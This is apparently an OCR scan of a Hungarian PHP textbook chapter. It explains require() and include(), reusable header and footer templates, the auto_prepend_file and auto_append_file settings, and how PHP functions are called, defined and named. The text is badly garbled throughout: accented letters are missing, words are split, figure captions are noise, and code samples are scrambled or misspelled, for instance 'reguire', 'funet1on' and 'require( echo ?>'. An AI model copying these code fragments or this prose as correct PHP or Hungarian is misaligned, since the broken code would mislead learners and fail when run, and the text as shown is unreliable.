5. fejezet

ket valami aprsg,amivel az eredeti szerz kiegsztette, vagy amit a tesztels alatt szrevert brmilyen hiba miart hozzadtak. A meglv, kiforrort kd jellemzen megbzhatbb, mint a friss, mg.,retlen':

Egysgessg
A rendszernkhz kapcsold kls csarolfelleteknek, gy a kezelfelleteknek s a kls rendszerekre mutat felleteknek egyarnt egysgesnek kell lennik. A rendszer tbbi rsznek mkdshez illeszked j kd megrshoz elhatrozsra s, bizony, nem kevs munkra van szksg. Amennyiben a rendszer msik rszt futtat kdot hasznlunk fel, akkor az egysges mkds automatikusan addik. Mindezen elnyk mellett nem elhanyagolhat az sem, hogy a meglv kd tbbszri felhasznlsa kevesebb munkval jr, feltve persze, hogy az eredeti kd modulris s jl megrt. Munknk sorn prbljuk meg beazonostani azokat a kdrszlete ket, amelyeket esetleg a ksbbiekben jbl meghvharunk!

A require () s az include () utasts hasznlata


A PHP kt igen egyszer, mgis nagyon hasznos utastssal teszi lehetv brmilyen pus kd tbbszri felhasznlst. A require (} s az include (} utastssal fjlt tlthetnk be PHP kdunkba. Az gy betlttt fjl brmit tartalmazhat, amit msklnben a kdba rnnk be-PHP utastst, szveget, HTML cmkt (tag), PHP fggvnyt s PHP osztlyt is. Ezek az utastsok hasonlan mkdnek a sok webszerveren elrhet szerveroldali beillesztsekhez s a C vagy C++ prog ramnyelv #include utastshoz. A require (} s az include (} utasts majdnem tkletesen megegyezik. Az egyetlen klnbsg kzttk, hogy hiba esetn-pldul, ha a beilleszteni kivnt fjl nem tallhat-a require (} utasts hibval lellI:ja a program futst, ugyan akkor az include (} csak figyelmeztetst ad. A require (} s az include (} utastsnak kt varinsa is ltezik, ezek neve require_once(}, illetve include
one e (}.Ezek a konstrukcik-mint azt nevk is sugallja- arra valk, hogy a szban forg fjlt csak egyszer lehessen beil

leszteni. Az eddig emltert pldkban-honlap fejlce s lblce - ennek a funkcinak nem volt klnsebb jelentsge. Akkor

vlik hasznoss, amikor a requ ire (} s inelude (} utastsokkal fggvnyek knyvtrait kezdjk el beilleszteni. Az utas tsok ezen varinsaival elkerlhet, hogy vletlenl ktszer illesszk be ugyanazt a fggvnyknyvtrat, hiszen azzal jradefini lnnk a fggvnyeket, ami hatatlanul hibt eredmnyezne. Amennyiben kellen figyelmesek vagyunk kdolsi gyakorlarunk ban,jobban jrunk a require (} vagy az include (} hasznlatval, mivel ezek az utastsok gyorsabban hajtdnak vgre.

Fjlnvkiterjesztsek s a requ ire () utasts


A kvetkez kd az ujrahasznalhato. php nev fjlban lett eltrolva:
<?php echo 'Ez itt egy nagyon egyszer PHP utasts.<br ?> />';

Az irt lthat kdot pedig a fo.php nev fjl tartalmazza:


<?php echo 'Ez a f fjl.<br />';

require( echo ?>


'A

'ujrahasznalhato.php'

};

kd ezzel vget r.<br />';

Ha betltjk az uj rahasznalhato.php fjlt, nem meglep mdon az Ez it t egy nagyon egyszer brn lthatjuk.
tlf ______ ....,..

PHP

utasts. szveg jelenik meg bngsznkben. A fo.php betltsekor valami rdekesebb trtnik. A kd kimenett az 5.1

Cf a l_-- lu6.,_ Erilcry....,...,_-tPtiP--. AW.azd"""'"'et

-:.=.;.;

lloo

..- ..._. ----- ....

5.1 bra: A fo.php

fjl kimenele a require (} utasts eredmnyt mutaija.

Kd tbbszri felhasznlsa s fggvnyrs

91

A require ( ) utasts hasznlathoz fjira van szksg. Az elz pldban az ujrahasznalhato. php nev llomnyt hasznltuk. Amikor futtatjuk a kdot, a
require( 'ujrahasznalhato.php' )

utasts helyt a krt fjl tartalma veszi t, majd vgrehajtdik a kd. Ez azt jelenti, hogy amikor betltjk a fo. php fjlt, gy fut le, mintha a kd a kvetkezkppen lenne megrva: <?php
echo " Ez a f6 fjl.<br

/>";
PHP

echo "Ez itt egy nagyon egyszer echo ?>


" A

utasts.<br />";

kd ezzel vget r.<br

/>";

A require () hasznlatakor figyelembe kell vennnk a fjlnvkiterjesztsek s a PHP cmkk (tag) kezelse kztti k lnbsget. A PHP-t nem rdekli a krt fjl fjlnvkiterjesztse. Ez azt jelenti, hogy tetszleges nevet adhatunk fjlunknak - feltve, hogy nem tervezzk kzvedenl meghvni. Amikor a require ( ) utastst hasznljuk a fjl betltsre, az lnyegben egy PHP fjl rszv vlik, s ekknt hajtdik vgre. Amennyiben a PHP utastsok pldul egy oldal.html nev fjlban lennnek eltrolva, akkor alaphelyzetben nem kerlnnek feldolgozsra. A PHP-t jellemzen csak a meghatrozott, pldul . php Iciterjeszts fjlok feldolgozsra uta srjuk. (Ezt mdosthatjuk webszervernk konfigurcis fjljban.) Ha viszont require () utasrson keresztl tltjk be
az oldal.html

fjlt, az abban lev sszes PHP utasts fel lesz dolgozva. gy brmilyen, neknk tetsz kiterjesztst hasznl

harunk a f:ijlok beillesztsre, m rdemes ragaszkodni az . inc vagy a . php kiterjeszts hasznlathoz. Nem rt tudni, hogy ha . inc vagy ms, nem szabvnyos kiterjesztssei vgzd f:ijlokat trolunk a webes dokumentumfban, s a felhasznJk kzveclenl betltik azokat a bngszbe, egyszer szvegknt fogjk Jmi a kdot, s benne az esetleges jelszava kat. ppen ezrt fontos, hogy a beillesztett fjlokat a dokumentumfn kvl troljuk, vagy szabvnyos kiterjesztseket hasznljunk. Megjegyzs: A pldban az jrafelhasznlhat fjlt (ujrahasznalhato.php) a kvetkezkppen rtk meg:
<?php echo "Ez itt egy nagyon egyszer PHP utasts.<br

/>";

?> A PHP kdot PHP cmkk kztt helyeztk el a f:ijlba. Ehhez a szablyhoz neknk is ragaszkodnunk kell, ha azt sze retnnk, hogy a krt fjlban lv PHP kd akknt legyen kezeive. Ha nem nyitunk PHP cmkt, kdunk szvegknt vagy HTML-knt lesz kezeive, s nem hajtdik vgre.

A require ( ) utasts hasznlata weboldalsablonokra


Amennyiben cgnk weboldalainak egysges a kinzere s mkdse, PHP hasznlata esetn megrehetjk, hogy az oldalak sablonjt s lland elemeit a require () utastssal adjuk hozz. A kpzeletbeli TLA Consuiting cg honlapja szmos aloldallal rendelkezik, ezek mindegyike az 5.2 brn lthatval meg egyez mdon nz ki s mkdik. Arnikor j oldal hozzadsra van szksg, a fejleszt megnyit egy meglv oldalt, kivgja a fjl kzeprl az ott lv szveget, berja az jat, majd ms nven elmenti a fjlt.

liZI!

TLA Consultmg

t!J!IIII

. ?fi . Wlt{jllfip.!MUJ .il AM

TlACncanghonlltA6nii<*JfktD!pllilosiCMI.61S1111!1Je1'1'18QctgOrQCI N.aztelleOrtiSIIOIIOCI
_..,, 1 . .... .. ... .. ........ .. .. ".

5.2 bra: A TLA Consuiting honlapjnak minden oldala egysges kpet mutat. Gondoljunk bele az albbi helyzetbe: a honlapot mr j ideje hasznljk, gy a cg most tbb tz, szz vagy akr ezer, ugyan olyan stlust kvet oldallal rendelkezik. Az a dnts szletik, hogy rszben mdostank a honlap megjelenst; a vltoztats

92

5. fejezet

lehet egszen apr, pldul egy e-mail cm hozzadsa a minden egyes oldal aljn lthat lbrszhez vagy j elem hozzadsa a navigcit lehetv tev menhz. J lenne, ha ezt az aprbb mdostst tbb tz, szz vagy akr ezer oldalon vgre kellene haJtanunk A rninden oldalon megtallhat HTML szakaszok jbli hasznlata sokkal jobb megkzeltsi md, mint tbb tz, szz vagy akr ezer oldalon vgrehajtani a msols-beilleszts monoton lpseit. Az 5.2 brn lthat nyitoldal ( kezdolap. html) for rskdja az 5.1 pldakdban lthat. 5.1 pldakd: kezdalap.html -A TLA Consuiting nyitoldalt elllt HTML kd
<html> <head> <title>TLA Consulting Pty Ltd</title> <style type="text/css"> hl {color:white; font-size:24pt; text-align:center;

font-family:arial,sans-serifl .menu {color:white; font-size:12pt; text-align:center; font-weight:boldl

font-family:arial,sans-serif; td p {background:blackl {color:black; font-size:12pt;

text-align:justify;

font-family:arial,sans-serif} p.foot {color:white; font-size:9pt; text-align:center; font-weight:bold}

font-family:arial,sans-serif; a:link,a:visited,a:active </style> </head> <body>

{color:white}

<!-- oldal fejrsz --> <table width="lOO%" cellpadding="l2" cellspacing="O" border="O"> <tr bgcolor="black"> <td align="left"><img src="logo.gif" alt="TLA logo" height="70" width="70"></td> <td> <hl>TLA Consulting</hl> </td> <td align="right"><img width="70"></td> </tr> </table> <1-- men --> <table width="lOO%" <tr > <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">Kezd6lap</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">Kapcsolat</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">Szolgltatsok</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20"> <span class="menu">Oldaltrkp</span></td> bgcolor="white" cellpadding="4" cellspacing="4"> src="logo.gif" alt="TLA logo" height="70"

Kd tbbszri felhasznlsa s fggvnyrs

93

</tr> </table>

<!-- oldal tartalom --> <p>Kszntjk a TLA Krjk, Consulting honlapjn!

sznjon r kis idt,

s ismerje meg cgnket!</p> remljk,

<p>Az zleti ignyek kielgtsre szakosodtunk,

rvidesen nt is gyfeleink kztt tudhatjuk.</p>

<!-- oldal lblc --> < table widt h="lOO%" bgcolor="black" cellpadding="l2" border="O"> <tr> <td> <p class="foot">&copy; <p class="foot">Krjk, TLA Consulting Pty Ltd.</p> olvassa el honlapunk

<a href="legal.php">jogi nyilatko zatt!</a></p> <ltd> </tr> </table> </body> </html>

Az 5.1 pldakdban lthatjuk, hogy a fjl szmos elklnl kdrszletbl ll. A HTML fejrsz az oldal ltal hasznlt caseaciing scyle sheet-

(CSS), azaz egymsba

gyazott stluslap-defincikat tartalmazza. Az.,oldal fejlc" crnkj rsz a cgne

vet s a logt, a.,men" az oldal navigcis svjt, az"oldal tartalom'' az adott oldal egyedi szvegr jelenti meg. Ez alatt rallha t az oldal lblce. rdemes felosztani ezt a fjlt, s a rszeinek a fejlee.php, kezdelap.php s lablec .php nevet adni. A fejlee.php s a l ablee.ph p is olyan kdot tartalmaz, amelyet a klnbz oldalakon jra s jra felhasznlhatunk. A kezdelap. php fjl tveszi a kezdelap. html helyt: ahogy az 5.2 mintakdbl ltjuk, tartalmazza az egyedi oldaltartalmat s a kr reguire () utastst. 5.2 pldakd: kezdelap. php-A TLA nyitoldalt elllt PHP kd
<?php reguire('fejlec.php'); ?> <!-- oldal tartalom --> <p>Kszntjk a TLA Consulting honlapjn! Krjk, sznjon r kis idt, s ismerje meg cgnket1</p> remljk,

<p>Az zleti ignyek kielgtsre szakoso dtunk,

rvidesen nt is gyfeleink kztt tudhatjuk.</p> <?php require('lablec.php');

A kezdelap. php fjlban lv reguire ( ) utastsok a fejlee.php s lablec. php fjlt tltik be. Ahogy korbban mr jeleztk, az ezeknek a fjloknak adott nv nincs hatssal arra, hogyan lesznek feldolgozva a reguire () utasts ltali meghvsuk esetn. Bevett szoks, hogy a ksbb ms fjlokba heilleszrend llomnyoknak
a

valami.inc nevet adjk (az inc itt az include, azaz beilleszts szra utal). ltalnossgban nem ajnljuk ennek kvet

st, mivel az .inc fjlok csak akkor rtelmezdnek PHP kdknt, ha a webszerveren ezt kifejezetren belltottk. Ha mgis gy tesznk, a heillesztsi llomnyainkat olyan knyvtrba helyezzk el, amit kdjaink ltnak ugyan, de az nem engedlyezi a heillesztsi fjlok webszerveren keresztli, egyenknti betltst. Ez azt jelenti, hogy ennek a knyvtrnak a we bes dokumentumfn kivl kell elhelyezkednie. Azrt kvetend ez a stratgia, mert megakadlyozza e fjlok egyenknti betl tst, ami (a) hibkat eredmnyezne, ha a fjlkiterjeszts .php, de a fjl egy oldalnak vagy kdnak csak egy rszr tartalmazza, vagy (b) egyb kiterjeszts hasznlata esetn msok szmra olvashatv teszi a forrskdot.

94

5. fejezet

A fejlee.php fjlban az oldal ltal hasznlt CSS defincikat, illetve a cgnevet s a menelemeket tartalmaz tblzato kat talljuk {lsd 5.3 pldakd l). 5.3 pldakd: fejlee.php
<html> <head> <title>TLA Consulting Pty Ltd</title>

-Az sszes

TLA-oldal

jbl felhasznlhat fejlce

<style type="text/css"> hl {color:white; font-size:24pt; text-align:center;

font-family:arial,sans-serif} .menu {color:white; font-size:l2pt; text-align:center; font-weight:bold}

font-family:arial,sans-serif; td p {background:black} {color:black; font-size:l2pt;

text-align:justify;

font-family:arial,sans-serif} p.foot {color:white; font-size:9pt; text-align:center; font-weight:bold}

font-family:arial,sans-serif; a:link,a:visited,a:active </style> </head> <body>

{color:white}

<!-- oldal fejlc --> <table width="l00%" cellpadding="l2" cellspacing="O" border="O"> <tr bgcolor="black">

<td align="left"><img src="logo.gif" alt="TLA logo" height="70" width="70"></td> <td> <hl>TLA Consulting</hl> <ltd> <td align="right"><img src="logo.gif" alt="TLA logo" </tr> </table> height="70" width="70" /></td>

<!-- men --> <table width="lOO%" bgcolor="white" cellpadding="4" cellspacing="4"> <tr > <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20" /> <span class="menu">Kezd6lap</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20" /> <span class="menu">Kapcsolat</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20" /> <span class="menu">Szolgltatsok</span></td> <td width="25%"> <img src="s-logo.gif" alt="" height="20" width="20" /> <span class="menu">Oldaltrkp</span></td> </tr> </table>

A lablec. php fjl az egyes oldalak aljn lthat lblcet megjelent tblzatot tartalmazza. A fjlban lv kd az 5.4 pldakdban olvashat.

Kd tbbszri felhasznlsa s fggvnyrs

95

5.4 pldakd: lablec.php


<!-- oldal lblc -->

-Az sszes

TLA-oldal

jbl felhasznlhat lblce

<table width="100%" b gcolor="black" cellpadding="12" border="O"> <tr> <td> <p class="foot">&copy; <p class="foot">Krjk, TLA Consulting Pty Ltd.</p> olvassa el honlapunk<a href="legal.php">

jogi nyilatkozatt!</a></p> <ltd> </tr> </table> </body> </html>

Ezzel a megkzeltssel igen egyszeren kapunk egysges megjelens weboldalt, s pldul az albbi szveg begpelsvel knnyedn ltrehozhatunk egy j, a tbbivel megegyez stlus oldalt:
<?php require ('fejlee.php') ; ?> Ide kerl ennek az oldalnak a tartalma <?php require ( 'lablec. php') ; ?>

Ami taln a legfontosabb: miutn szmtalan oldalt ltrehoztunk ezzel a fejlccel s lblccel, knnyedn mdosthatjuk a fej lc s a lblc fjljait. Akr apr szvegvltozatsrl van sz, akr teljesen talaktjuk az oldal megjelenst, csak egyszer kell vgrehajtani a mdostst. Nem kell a honlap minden egyes oldalt egyenknt megvltoztatni, mivel minden oldal a fejlc- s lblcfjlokkal tltdik be. Az itt bemutatott plda csak egyszer HMTL-t hasznl a trzsben (body), fejlcben s lblcben. Nem felttlenl mindig
ez

a helyzet. Az oldal rszeinek dinamikus ellltsra hasznlhatnnk PHP utastsokat is ezekben a fjlokban. Ha szeretnnk biztosak lenni abban, hogy valamely fjlt egyszer szvegknt vagy HTML-knt kezelnk, s semmilyen
readfile ( )

PHP kd nem fut le, hasznljuk inkbb a

fggvnyt! Ez feldolgozs nlkl jelenti meg a fjl tartalmr. rdemes

szben tartani ezt a biztonsgi vintzkedst, amennyiben felhasznltl szrmaz szveggel dolgozunk.

l 5
'

Az

a uto_prepend_file

s az a uto_append_file bellts hasznlata


() vagy az include () utastst, hogy fejlcet s lblcet acljunk minden oldalhoz, fjl kt kon6gurcis belltsa az auto_prepend_file s az auto_append_

Ha arra szeretnnk hasznlni a


file. Ha

require

mskppen is megtehetjk ezt. A

php. ini

belltjuk, hogy ezek a fejlc- s lblcfjlokra mutassanak, azt rjk el, hogy rninden oldal eltt s utn betltdnek.

Az gy beillesztett fjlok gy viselkednek, mintha az include () utastssal lettek volna hozzadva; vagyis hinyz fjl esetn

figyelmeztetst kapunk. Windows alatt a belltsok gy nznek ki:


auto_prepend_file = "c: /Program Files/Apache Software Froundation/Apache2.2//include/fejlec.php" auto_append_file = "c:/Program Files/Apache Group/Apache2/include/lablec.php"

Unix alatt pedig gy:


auto_prepend _file = "/home/username/incluctel fejlee.php" auto_append_file =
n

/home/username/include/lablec.php"

Amennyiben ezeket a belltsokat hasznljuk, nem kell begpelnnk az include () utastsokat, m ekkor a fejlcek s lblcek tbb nem opcionlis elemek lesznek az oldalakon. Ha Apache webszervert hasznlunk, knyvtranknt adhatjuk meg az ilyen kon6gurcis belltsokat. Ehhez be kell llta nunk kiszolglnkat, hogy engedje f kon6gurcis fjljnak vagy fjljainak a fellrst. Hogy belltsuk valamely knyvtrnl
az

automatikus el- s utncsatolst (prepend s append), hozzunk ltre benne egy . htaccess nev fjlt! Ennek az llo

m nynak az albbi kt sort kell tartalmaznia:


php_value auto_ prepend_file "/home/username/include/fejlee.php" php_value auto_append_file "/home/username/include/lab lee.php"

Figyeljk meg, hogy a szintaktika kiss eltr ugyanennek a belltsnak a php.ini-beli vltozattl: a sor elejn a php_
value

tallhat, illetve nincsen egyenlsgjel. Szmos ms php.ini kon6gurcis bellts is mdosthat gy.

96

5. fejezet

Azzal, hogy a bellirsokat a php. ini llomny vagy a webszerver-konfigurcis fjl helyett a . htaccess llomnyban adjuk meg, rugalmasabban dolgozhacunk. Megosztott gpen gy mdosthatjuk a belltsokat, hogy az csak a sajt knyv trainkra vonatkozzon. Nem szksges jraindtani a webszervert, s nincs szksgnk rendszergazdai hozzfrsre sem. A . htaccess mdszer htrnya, hogy a fjlok sorsa nem csak elindulskor, hanem a knyvcrban lv brmely fJl lekrse esetn is a beolvass s a feldolgozs, gy e rugalmassg ra a teljestmny cskkense lehet.

Fggvnyek hasznlata PHP,ben


A fggvnyek a programnyelvek tbbsgben megrallhatk; egyetlen, jl meghatrozott feladatot vgreh:yt kdrszletet k lntenek el. A kdot knnyebben olvashacv teszik, s lcaluk lehetv vlik, hogy az adott kdrszletet jra meg jra felhasz nljuk, amikor ugyanazt a feladatot kell vgreh:ytanunk. A fggvny olyan nll kdmodul, amely elr egy hv interfszt, vgrehajt valamilyen feladatot, s opcionlisan valamilyen eredmnnyel tr vissza. Szmtalan fggvnnyel tallkoztunk mr. A korbbi fejezetekben rutinszeren hveunk meg j nhny, beptett PHP fgg vnyt. Mi magunk is rtunk nhny egyszerbb fggvnye, m nagyvonalan elsiklottunk a rszletek felett. A kvetkez rszek ben alaposabban ttekintjk a fggvnyhvs s -rs tmakrt.

Fggvnyhvs
Az albbi sorban a lehet legegyszerbb fggvnyhvsr ltjuk:
fuggveny_nev();

Ez a kdsor a fuggveny _nev nev, paramtert nem ignyl fggvnyt hvja meg. Nem foglalkozik a fggvny ltal esede gesen visszaadott rtkkel sem. Szmos fggvnyt pontosan ezen a mdon hvunk meg. Tesztelshez gyakran jl jn a phpinfo() fggvny, mert meg jelenti a teleptett PHP verziszmt, informcit ad a PHP-rl, a webszerver belltsrl, illetve kirja klnbz PHP s szervervltozk rtkr. Ez a fggvny paramtert nem fogad, s jellemzen figyelmen kvl hagyjuk a visszatrsi rtkr, gy

a phpinfo () meghvsa a kvetkezkppen nz ki:


phpinfo();

A legtbb fggvny azonban egy vagy tbb paramtert vr - ezek a fggvnyek inpugai, azaz bemeneti adatai. A param terek tadsa gy trtnik, hogy az adatot vagy az azt tartalmaz vltoz nevt a fggvnynv utni zrjelek kz helyezzk. Egyetlen paramtert fogad fggvnyt a kvetkezkppen hvhacunk meg:
fuggveny_nev('parameter');

Az itt hasznlt paramter egy, a kizrlag a parameter szt tartalmaz karakterlnc, de a fggvny ltal vrt paramtertl fggen az albbi fggvnyhvsok is megfelelk lehetnek:
fuggveny_nev(2); fuggveny_nev(7.993); fuggveny_nev($valtozo);

Az utols sorban lthat $valtozo brmilyen tpus PHP vltoz lehet, akr tmb vagy objektum is. A paramterek brmilyen adattpusak lehetnek, de egy adott fggvny ltalban meghatrozott adattpust vr. A fggvny prototpusbl kiderl szmunkra, hogy a fggvny hny paramtert vr, mit jelkpeznek ezek a paramterek, s milyen adattpusak kell, hogy legyenek. Knyvnkben az egyes fggvnyek bemutatsnl gyakran megadjuk prototpusukat is. Az fopen () fggvny prototpusa a kvetkez:
resource fopen ( string fajlnev, string mod

[,

bool use include_path

[,

resource kezelesi_mod]])

A prototpus temrdek informcit kzl velnk, ezrt klnsen fontos, hogy megfelelen rtelmezzk. Jelen esetben a fggvnynv eltt lthat resource sz jelzi, hogy a fggvny forrst (vagyis egy nyitott fjlvlcozt) fog visszaadni. A fggvnyparamterek a zrjelek kzte tallhatk. Az fopen( ) esetben ngy paramtert mutat a prototpus. A faj lnev s amod paramter string, a use_include_path Boolean, a kezelesi_mod paramter pedg resource tpus. A use_
include_path s kezelesi_mod paramtert krlvev szgletes zrjelek jelzik, hogy opcionlis, vagyis nem ktelez

paramterrel llunk szemben. Az ilyeneknl vagy megaeljuk rtkket, vagy nem foglalkozunk velk, s akkor alaprtelmezett rtkket fogjk hasznlni. Fontos tudni azonban, hogy tbb opcionlis paramterrel rendelkez fggvny esetn csak jobbrl haladva hagyhatjuk ki ezeket a paramtereket. Az fopen () hasznlata esetn pldul kihagyhaguk csak a kezelesi_mod paramtert vagy a use_include_path s a kezelesi_mod paramtert; az azonban nem lehetsges, hogy a use_
include_path paramtert kihagyjuk, a kezelesi_mod - ot viszont nem.

Kd tbbszri felhasznlsa s fggvnyrs

97

A fuggvny protopusnak ttekintse utn mr tU<ljuk, hogy a kvetkez kdrszlet az fopen ( ) fggvny rvnyes hvsa:
$nev = 'sajatfajl.txt'; 'r'; $megnyitasi_rnod =

$fp

fopen ($nev,

$megn y it asi rnod) ;


az

A fenti kd az fopen () nev fggvnyt hvja meg. A fggvny ltal visszaadott rtk

$fp

vltozban troldik el.

A pldban gy dntttnk, hogy a fggvnynek a string rpus $nev vltozban tadjuk a megnyitni kvnt fjl nevt,

a $megn yitasi_rnod nev, szintn string rpus vltozban pedig a kvnt fjlnyitsi mdot hatrozzuk meg. A pldban a harmadik s a negyedik paramtert nem adtuk meg.

Nem ltez fggvny hvsa


Ha nem ltez fggvnyt prblunk meghvni,
az

5.3 brn lthathoz hasonl hibazenetet kapunk.

F&a.....-c.IIIO_......_..._.......O"'-"-.,..-""-:J.,.ro_foto-ol
-----j

5.3 bra: Nem ltez fggvny hvsa esetn ez a hibazenet lesz az eredmny. A PHP ltal adott hibazenetek jellemzen nagyon hasznosak. Az brn lv kzli, hogy pontosan melyik fjlban, a kd

melyik sorban kvetkezett be a hiba, s mi a neve a fggvnynek, amir megksreltnk meghvni. Ezen informci birtokban viszonylag egyszeren megtallhat s orvosolhat a problma. Ha hibazenetet kapunk, ellenrizzk az albbiakat:

Pontosan rtuk a fggvny nevt? Ltezik-e ez a fggvny a PHP ltalunk hasznlt verzijban?

Elfordulhat, hogy nem jl emlksznk r, hogyan kell az adott fggvny nevt rni. Pldul egyes, kt szbl ll fgg vnynevek esetn alulvons van a szavak kztt, msoknl nincsen. A stripslashes () fggvnynl egyberjuk a kt szt, a strip_ta gs () esetben alulvons kerl kzjk. Ha fggvnyhvskor elrjuk a fggvny nevt, az 5.3 brn lthathoz hasonl hibazenetet kapunk.
A knyvben hasznlt fggvnyek nmelyike nem ltezik PHP4-ben, mert felttelezzk, hogy olvasink a PHP 5-s verzi

l 5

jt hasznljk. Minden egyes j verziban j fggvnyek jelennek meg, s

amennyiben a program rgebbi vltozatt hasznljuk,

a tbb funkci s a jobb teljestmny rniatt rdemes frissteni. Az online kziknyvbl megrudhatjuk, hogy egy adott fggvny mikor jelent meg. Az ppen futtatott verziban nem deklarlt fggvny meghvsa az 5.3 brn lthat hibhoz hasonlhoz vezet.
A hibazenet megjelensnek egy msik lehetsges oka, hogy a meghvott fggvny egy be nem tlttt PHP bvtmny r

sze. Ha pldul a gd (kpkezel) knyvtr fggvnyeit prbljuk meg hasznlni, de nem teleptettk a gd-t, akkor is a fentihez hasonl hibazeneret kapunk.

Kis- s nagybetk megklnbztetse fggvnynevekben


J, ha tudjuk, hogy a fggvnyhvsok nem tesznek klnbsget a kis- s nagybetk kztt, gy a fuggveny_nev ( ) ,
Fuggven y _nev

( ) s FUGGVENY_NEV ( ) rnind rvnyes s ugyanazt

az

eredmnyt hoz fggvnyhvs. Tetszs szerint, a sz


az

munkra legknnyebben olvashat mdon hasznlhatjuk a nagybetket, m trekedjnk

egysges s kvetkezetes hasznlat

ra! E knyv - akrcsak a PHP dokumentcik nagy rsze - csupa kisbetvel szedi a fggvnyneveker. Fontos megemlteni, hogy e tekintetben a fggvnynevek a vltoznevektl eltren viselkednek. A vltoznevek esetben megklnbztek a kis- s nagybetket, gy a $Nev s a $nev kt eltr vltoz, de a Nev ( ) s a nev ( ) ugyanaz a fggvny.

Sajt fggvnyek definilsa


A korbbi fejezetekben szmos pldt lttunk a PHP beptett fggvnyeinek hasznlatra. Egy programozsi nyelv vals ere

jt azonban sajt, egyni

fggvnyek ltrehozsnak a lehetsge adja.

98

5. fejezet

A PHP beptett fggvnyei lehetv teszik a fjlkezelst, adatbzisok hasznlatr, grafikk ltrehozst s a ms kiszolg lkhoz csatlakozst. Munknk sorn azonban gyakran elfordul, hogy a nyelv megalkoti lcal elre nem lthat feladatot kell elvgeznnk. Szerencsre a fggvnyek hasznlata nem korltozdik pusztn a beptercekre; sajt fggvnyeket rva tetszleges feladatot hajtharunk vgre velk. Kdunk jellemzen a meglv s s:Yt, az elttnk ll feladatra rt fggvnyek kombincijbl ll ssze. Ha olyan kdblokkot runk egy konkrt clra, amit kdunkban s esetleg programjainkban tbbszr is hasznlni kv nunk, rdemes fggvnyknt deklarlni. A fggvnyknt deklarls lehetv teszi, hogy sajt kdunkat a beptett fggvnyekhez hasonlan vegyk ignybe. Egy szeren meghvjuk fggvnynket, s megadjuk a szmra szksges paramtereket. Ezt azt jelenti, hogy kdunkat brmikor meghvhatjuk, s hasznlhatjuk fggvnyeinket.

Fggvnyek alapszerkezete
A fggvnydeklarlssal j fggvnye hozunk ltre. A deklarls a funetion kulcsszval kezddik, majd megadjuk a fggvny nevt, a fggvny ltal vrt paramtereket s a fggvnyhvskor vgrehajtand kdot. Nzznk pldt egy trivilis fggvnydeklarlsra:
funet1on sajat fuggveny()

eeho 'Meghvtuk fggvnynket';

A fggvnydeklarls azrt kezddik a funetion szval, hogy a programoz s a PHP rtelmez egyarnt tisztban legyen azzal, hogy felhasznl ltal definilt fggvny kvetkezik. A fggvny neve saj at_fuggveny. Az j fggvny a kvet kez utastssal hvhat meg:
sajat fuggveny();

Mint bizonyra ki talltuk, e fggvny meghvsa azzal az eredmnnyel jr, hogy bngsznkben megjelenik a Megh v tuk
fggvnynket szveg.

A beptett fggvnyek minden PHP kdbl elrhetk, m ha sajt fggvnyeket deklarlunk, csak azon kd(ok) szmra

lesznek elrhetk, amely(ek) ben deklarltuk azokat. Clszer a gyakran hasznlt fggvnyeinket egy vagy tbb fjlban eltrol ni. Ha gy tesznk, kdjainkban a require () utastssal elrhecv tehetjk az ppen szksgess vl fggvnyeket. A fggvnyen bell kapcsos zrjelek kz kerl a kvnt feladatot vgrehajt kd. Ezen kapcsos zrjelek kz a PHP-ben rvnyes brmilyen kdot rharunk, legyen az fggvnyhvs, j vltozk deklarlsa, fggvny, require () vagy inelude () utasts, osztlydeklarls vagy egyszer HTML. Ha fggvnyen bell ki szeretnnk lpni a PHP-bl, s egyszer HTML kdot szeretnnk berni, ugyangy tehetjk meg ezt, mint a kd brmely ms rszn- a HTML el zr PHP cmkt (tag) kell helyeznnk. A kvetkez kdrszlet az elz plda megengedett, ugyanazt a kimenetet eredmnyez mdostsa:
<?php funetion sajat_fuggveny() ?> Meghvtuk fggvnynket <?php

)
?>

Figyeljk meg. hogy a PHP kd a nyit s zr PHP cmkepr kz kerlt! A knyvben szerepl, kdrszleteket hasznl pldk tbbsgnl nem rjuk ki a cmkket. Irc azrt szerepelnek mgis, mert a pldban, illetve eltte s utna is szksg van rjuk.

Fggvnyeink elnevezse
Fggvnyeink elnevezsnl a legfontosabb szem pont, hogy rvid, mgis beszdes nevet talljunk ki. Ha fggvnynk oldalfej lcet hoz ltre, akkor az oldalfejlee() vagy az oldal_fejlee() nv egyarnt megfelel lehet. Az albbi korltozsokat mindenesetre figyelembe kell vennnk: Fggvnynk neve nem egyezhet meg mr meglv fggvnyveL A fggvnynv csak betket, szmjegyeket s alulvonst tartalmazhat. A fggvnynv nem kezddhet szmmal. Sok programnyelv megengedi a fggvnynevek jbli hasznlatr. Ezt a funkeit Jggvnyek

tbbszrs definilsnak

(function overloading) nevezik. A PHP azonban ezt nem tmogatja, gy fggvnynknek nem lehet ugyanaz a neve, mint egy

Kd tbbszri felhasznlsa s fggvnyrs

99

beptett vagy felhasznl ltal deklarlt, meglv fggvny. Ne feledjk azonban azt sem, hogy a beptett fggvnyeket min den PHP kd ismeri, a felhasznl ltal definilt fggvnyek viszont csak azokban a kdokban lteznek, ahol deklarlva lettek! Ez lnyegben azt jelenti, hogy msik fjlban ugyan jbl felhasznlhatjuk ugyanazt a fggvnynevet, m ez kavarodshoz vezethet, gy ajnlott elkerlni. A kvetkez fggvnynevek mind rvnyesek:
nev() nev2() nev_harom() nevnegy()

Az albbiakat azonban nem hasznlhaguk:


Snev() nev-hat () fopen ()

(Az utols akkor lenne megengedett, ha nem ltezne ugyanilyen nev, beptett fggvny.) rdemes megjegyezni, hogy br a $nev nv fggvnynek nem adhat, egy
$nev();

nev fggvny a $nev rtktl fggen minden tovbbi nllel vgrehajtdhat. Ez azrt lehetsges, mert a PHP veszi a $nev vltozban eltrolt rtket, ilyen nev fggvnyt keres, majd megprblja meghvni. Az ilyen tpus fggvnyeket fggvnyvlto zknak (variable function) nevezzk, s bizonyos helyzetekben igen hasznosak lehetnek szmunkra.

Paramterek hasznlata
